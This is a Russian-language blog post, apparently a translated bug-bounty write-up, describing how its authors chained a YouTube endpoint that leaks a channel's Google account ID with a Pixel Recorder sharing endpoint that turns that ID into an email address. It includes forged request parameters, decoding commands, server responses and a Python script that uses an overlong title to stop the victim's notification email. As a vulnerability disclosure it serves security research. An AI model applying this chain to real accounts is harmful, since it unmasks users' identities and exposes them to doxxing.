![](https://habrastorage.org/getpro/habr/upload_files/115/33f/05f/11533f05fceaf9ffbb5fe8208271f9f5.png)
Некоторое время назад я копался в документе Internal People API (Staging) Google, и вдруг заметил кое-что интересное:
"BlockedTarget": {
"id": "BlockedTarget",
"description": "The target of a user-to-user block, used to specify creation/deletion of blocks.",
"type": "object",
"properties": {
"profileId": {
"description": "Required. The obfuscated Gaia ID of the user targeted by the block.",
"type": "string"
},
"fallbackName": {
"description": "Required for BlockPeopleRequest. A display name for the user being blocked. The viewer may see this in other surfaces later, if the blocked user has no profile name visible to them. Notes: Required for BlockPeopleRequest (may not currently be enforced by validation, but should be provided) For UnblockPeopleRequest this does not need to be set.",
"type": "string"
}
}
},
Похоже, что функциональность блокировки пользователей Google‑wide была основана на каком‑то мутном Gaia ID, а также на отображаемом имени для этого заблокированного пользователя. Gaia ID — это просто идентификатор учётной записи Google
Вроде не критично. Но потом я вспомнил про эту страницу поддержки
![](https://habrastorage.org/getpro/habr/upload_files/318/12c/f43/31812cf431fa101e3ce0e6fc13329fa2.png)
Итак, если вы заблокируете кого‑то на YouTube, то можете раскрыть идентификатор его аккаунта Google? Я проверил. Зашёл на случайную трансляцию, заблокировал пользователя и, конечно же, он появился в https://myaccount.google.com/blocklist
![](https://habrastorage.org/getpro/habr/upload_files/4fa/34c/565/4fa34c56510bbb0362c21d81bd99490b.png)
В качестве резервного имени было установлено название канала Mega Prime, а идентификатором профиля был замаскированный идентификатор Gaia 107 183 641 464 576 740 691
Это было очень странно, потому что YouTube никогда не должен раскрывать базовый Google аккаунт YouTube канала. В прошлом было несколько уязвимостей, позволяющих перевести их на адрес электронной почты, поэтому я был уверен, что в каком‑то старом неизвестном продукте Google все ещё сохранились Gaia ID для электронной почты.
Эскалируем до 4 миллиардов каналов YouTube
Итак, мы можем слить Gaia ID любого пользователя чата, но распространяется ли это на все каналы YouTube? Как оказалось, когда вы нажимаете на 3 точки, чтобы просто открыть контекстное меню, запускается запрос
![](https://habrastorage.org/getpro/habr/upload_files/bd9/a40/a55/bd9a40a55846454f9b48f5aad2d26951.png)
Запрос
POST /youtubei/v1/live_chat/get_item_context_menu?params=R2lrcUp3b1lWVU5vY3pCd1UyRkZiMDVNVmpSdFpYWkNSa2RoYjB0QkVnc3pObGx1VmpsVFZFSnhZeklhQ2hoVlExTkZMV0ZaVDJJdGRVTm5NRFU1Y1VoU2FYTmZiM2M9&pbj=1&prettyPrint=false HTTP/2
Host: www.youtube.com
Cookie: <redacted>
Ответ
HTTP/2 200 OK
Content-Type: application/json; charset=UTF-8
Server: scaffolding on HTTPServer2
{
...
"serviceEndpoint": {
...
"commandMetadata": {
"webCommandMetadata": {
"sendPost": true,
"apiUrl": "/youtubei/v1/live_chat/moderate"
}
},
"moderateLiveChatEndpoint": {
"params": "Q2lrcUp3b1lWVU5vY3pCd1UyRkZiMDVNVmpSdFpYWkNSa2RoYjB0QkVnc3pObGx1VmpsVFZFSnhZMUFBV0FGaUx3b1ZNVEV6T1RBM05EWTJOVE0zTmpjd016Y3dOVGt3RWhaVFJTMWhXVTlpTFhWRFp6QTFPWEZJVW1selgyOTNjQUElM0Q="
}
}
...
}
params
— это не что иное, как закодированный в base64 protobuf, который является распространённым форматом кодирования, используемым в Google.
Если мы попробуем расшифровать эти параметры moderateLiveChatEndpoint
:
$ echo -n "Q2lrcUp3b1lWVU5vY3pCd1UyRkZiMDVNVmpSdFpYWkNSa2RoYjB0QkVnc3pObGx1VmpsVFZFSnhZMUFBV0FGaUx3b1ZNVEV6T1RBM05EWTJOVE0zTmpjd016Y3dOVGt3RWhaVFJTMWhXVTlpTFhWRFp6QTFPWEZJVW1selgyOTNjQUElM0Q=" | base64
-d | sed 's/%3D/=/g' | base64 -d | protoc --decode_raw
1 {
5 {
1: "UChs0pSaEoNLV4mevBFGaoKA"
2: "36YnV9STBqc"
}
}
10: 0
11: 1
12 {
1: "113907466537670370590"
2: "SE-aYOb-uCg059qHRis_ow"
}
14: 0
На самом деле он просто содержит Gaia ID пользователя, которого мы хотим заблокировать, то есть нам даже не нужно его окончательно блокировать!
Давайте также проверим параметры запроса get_item_context_menu
:
$ echo -n "R2lrcUp3b1lWVU5vY3pCd1UyRkZiMDVNVmpSdFpYWkNSa2RoYjB0QkVnc3pObGx1VmpsVFZFSnhZeklhQ2hoVlExTkZMV0ZaVDJJdGRVTm5NRFU1Y1VoU2FYTmZiM2M9" | base64 -d | sed 's/%3D/=/g' | base64 -d | protoc --decode_raw
3 {
5 {
1: "UChs0pSaEoNLV4mevBFGaoKA"
2: "36YnV9STBqc"
}
}
6 {
1: "UCSE-aYOb-uCg059qHRis_ow"
}
Кажется, здесь содержатся только идентификатор канала, который мы блокируем, идентификатор видео прямой трансляции и идентификатор автора прямой трансляции. Давайте попробуем подделать параметры запроса с идентификатором канала нашей цели.
Для теста мы будем использовать тематический канал, поскольку он автоматически генерируется YouTube и гарантированно не содержит сообщений в чате.
$ echo -n "<SNIP>" | base64 -d | sed 's/%3D/=/g' | base64 -d | sed 's/UCSE-aYOb-uCg059qHRis_ow/UCD2LZAT1j1DyVXq2R2BdusQ/g' | base64 | base64
R2lrcUp3b1lWVU5vY3pCd1UyRkZiMDVNVmpSdFpYWkNSa2RoYjB0QkVnc3pObGx1VmpsVFZFSnhZeklhQ2hoVlEwUXlURnBCVkRGcQpNVVI1VmxoeE1sSXlRbVIxYzFFPQo=
Тестирование на /youtubei/v1/live_chat/get_item_context_menu
:
...
"moderateLiveChatEndpoint":{"params":"Q2lrcUp3b1lWVU5vY3pCd1UyRkZiMDVNVmpSdFpYWkNSa2RoYjB0QkVnc3pObGx1VmpsVFZFSnhZMUFBV0FGaUx3b1ZNVEF6TWpZeE9UYzBNakl4T0RJNU9Ea3lNVFkzRWhaRU1reGFRVlF4YWpGRWVWWlljVEpTTWtKa2RYTlJjQUElM0Q="}
...
echo -n "Q2lrcUp3b1lWVU5vY3pCd1UyRkZiMDVNVmpSdFpYWkNSa2RoYjB0QkVnc3pObGx1VmpsVFZFSnhZMUFBV0FGaUx3b1ZNVEF6TWpZeE9UYzBNakl4T0RJNU9Ea3lNVFkzRWhaRU1reGFRVlF4YWpGRWVWWlljVEpTTWtKa2RYTlJjQUElM0Q=" | base64 -d | sed 's/%3D/=/g' | base64 -d | protoc --decode_raw
1 {
5 {
1: "UChs0pSaEoNLV4mevBFGaoKA"
2: "36YnV9STBqc"
}
}
10: 0
11: 1
12 {
1: "103261974221829892167"
2: "D2LZAT1j1DyVXq2R2BdusQ"
}
14: 0
Мы можем раскрыть Gaia ID канала — 103 261 974 221 829 892 167.
Недостающий элемент пазла: Pixel Recorder
Я рассказал своему другу Натану об раскрытии Gaia ID YouTube, и мы начали изучать старые забытые продукты Google, поскольку они, вероятно, содержали какую‑то ошибку или логический изъян для преобразования Gaia ID в электронную почту. Pixel Recorder был одним из них. Натан сделал тестовую запись на своём телефоне Pixel и синхронизировал её со аккаунтом Google, чтобы мы могли получить доступ к конечным точкам в интернете по адресу https://recorder.google.com:
![](https://habrastorage.org/getpro/habr/upload_files/4e7/810/c6c/4e7810c6c423ac12b782329aa2928941.png)
Когда мы попытались отправить запись на тестовую электронную почту, нас осенило:
Запрос
POST /$rpc/java.com.google.wireless.android.pixel.recorder.protos.PlaybackService/WriteShareList HTTP/2
Host: pixelrecorder-pa.clients6.google.com
Cookie: <redacted>
Content-Length: 80
Authorization: <redacted>
X-Goog-Api-Key: AIzaSyCqafaaFzCP07GzWUSRw0oXErxSlrEX2Ro
Content-Type: application/json+protobuf
Referer: https://recorder.google.com/
["7adab89e-4ace-4945-9f75-6fe250ccbe49",null,[["113769094563819690011",2,null]]]
Ответ
HTTP/2 200 OK
Content-Type: application/json+protobuf; charset=UTF-8
Server: ESF
Content-Length: 138
["28bc3792-9bdb-4aed-9a78-17b0954abc7d",[[null,2,"vrptest2@gmail.com"]]]
Эта конечная точка принимала зашифрованный идентификатор Gaia и... возвращала адрес электронной почты?!
Мы протестировали это с помощью замаскированного идентификатора Gaia 107 183 641 464 576 740 691, который получили, заблокировав этого пользователя на YouTube некоторое время назад. И это сработало:
HTTP/2 200 OK
Content-Type: application/json+protobuf; charset=UTF-8
Server: ESF
Content-Length: 138
["28bc3792-9bdb-4aed-9a78-17b0954abc7d",[[null,2,"redacted@gmail.com"],[null,2,"vrptest2@gmail.com"]]]
Небольшая проблема: предотвращение уведомления жертвы
Похоже, что всякий раз, когда мы делимся записью с жертвой, она получает электронное письмо, которое выглядит примерно так:
![](https://habrastorage.org/getpro/habr/upload_files/de7/f40/6ce/de7f406cef0c8374228ba198c134e072.png)
Это плохо, и это значительно снизило бы значимость ошибки. Во всплывающем окне общего доступа, похоже, нет возможности отключить уведомления.
![](https://habrastorage.org/getpro/habr/upload_files/35b/bbd/977/35bbbd977f63947fed31d45bb09158aa.png)
Япопытался передать полный протокол запроса через свой инструмент req2proto, но там не было ничего об отключении уведомления по электронной почте:
syntax = "proto3";
package java.com.google.wireless.android.pixel.recorder.protos;
import "java/com/google/wireless/android/pixel/recorder/sharedclient/acl/protos/message.proto";
message WriteShareListRequest {
string recording_id = 1;
string delete_obfuscated_gaia_ids = 2;
ShareUser update_shared_users = 3;
string sharing_message = 4;
}
message ShareUser {
string obfuscated_gaia_id = 1;
java.com.google.wireless.android.pixel.recorder.sharedclient.acl.protos.ResourceAccessRole role = 2;
string email = 3;
}
Даже попытка добавить и удалить пользователя одновременно не сработала, письмо всё равно отправлялось. И тогда мы поняли — в тему письма включается название нашей записи, возможно, если название нашей записи будет слишком длинным, письмо не получится отправить.
Мы написали быстрый скрипт на Python, чтобы это проверить:
import requests
BASE_URL = "https://pixelrecorder-pa.clients6.google.com/$rpc/java.com.google.wireless.android.pixel.recorder.protos.PlaybackService/"
headers = {
"Host": "pixelrecorder-pa.clients6.google.com",
"Content-Type": "application/json+protobuf",
"X-Goog-Api-Key": "AIzaSyCqafaaFzCP07GzWUSRw0oXErxSlrEX2Ro",
"Origin": "https://recorder.google.com"
}
def get_recording_uuid(share_id: str):
payload = f"[\"{share_id}\"]"
response = requests.post(BASE_URL + "GetRecordingInfo" + "?alt=json", headers=headers, data=payload)
if response.status_code != 200:
print("unknown error when getting recording uuid: ", response.json())
exit(1)
try:
response = response.json()
except:
print('can\'t parse response when getting recording uuid: ', response.text)
exit(1)
return response["recording"]["uuid"]
def update_recording_title(share_id: str):
x = 'X'*2500000 # 2.5 million char long title name!
payload = f'["{share_id}","{x}"]'
response = requests.post(BASE_URL + "UpdateRecordingTitle" + "?alt=json", headers=headers, data=payload)
if response.status_code != 200:
print("unknown error when updating recording title: ", response.json())
exit(1)
def main():
share_id = input("Enter share ID: ")
headers["Cookie"] = input("Cookie header:" )
headers["Authorization"] = input("Authorization header: ")
uuid = get_recording_uuid(share_id)
print("UUID:", uuid)
update_recording_title(uuid)
print("Updated recording title successfully.")
if name == "__main__":
main()
.. и название записи теперь стало длиной в 2,5 миллиона букв! К счастью, со стороны сервера не было никаких ограничений на длину имени записи.
![](https://habrastorage.org/getpro/habr/upload_files/c31/f8f/ccd/c31f8fccd1e5f4136615774e0af4a671.png)
Мы попробовали поделиться записью с другим тестовым пользователем... бинго! Уведомление по электронной почте не пришло.
Резюмируем
По сути, у нас есть полная цепочка атак, нам просто нужно собрать её воедино.
![](https://habrastorage.org/getpro/habr/upload_files/bd2/d08/87c/bd2d0887cfa624d97eaea5fd0c9e0b57.png)
Раскрыть замаскированного идентификатора Gaia канала YouTube из конечной точки Innertube/get_item_context_menu
Поделиться записью Pixel с очень длинным именем, чтобы преобразовать идентификатор Gaia в email.
Удалить цель из записи Pixel (очистка)
Вот так просто.
Спасибо за внимание. Ваш Cloud4Y. Читайте нас здесь или в Telegram‑канале!
Ziptar
Штош, снова пора почистить комменты на ютубе
Denis1121
Если переживаешь за конфиденциальность, то лучше их вообще не оставлять. И даже в этом случае 100% анонимности не будет.
Ziptar
100% безопасность бывает только в могиле, а 100% анонимность - только в братской могиле.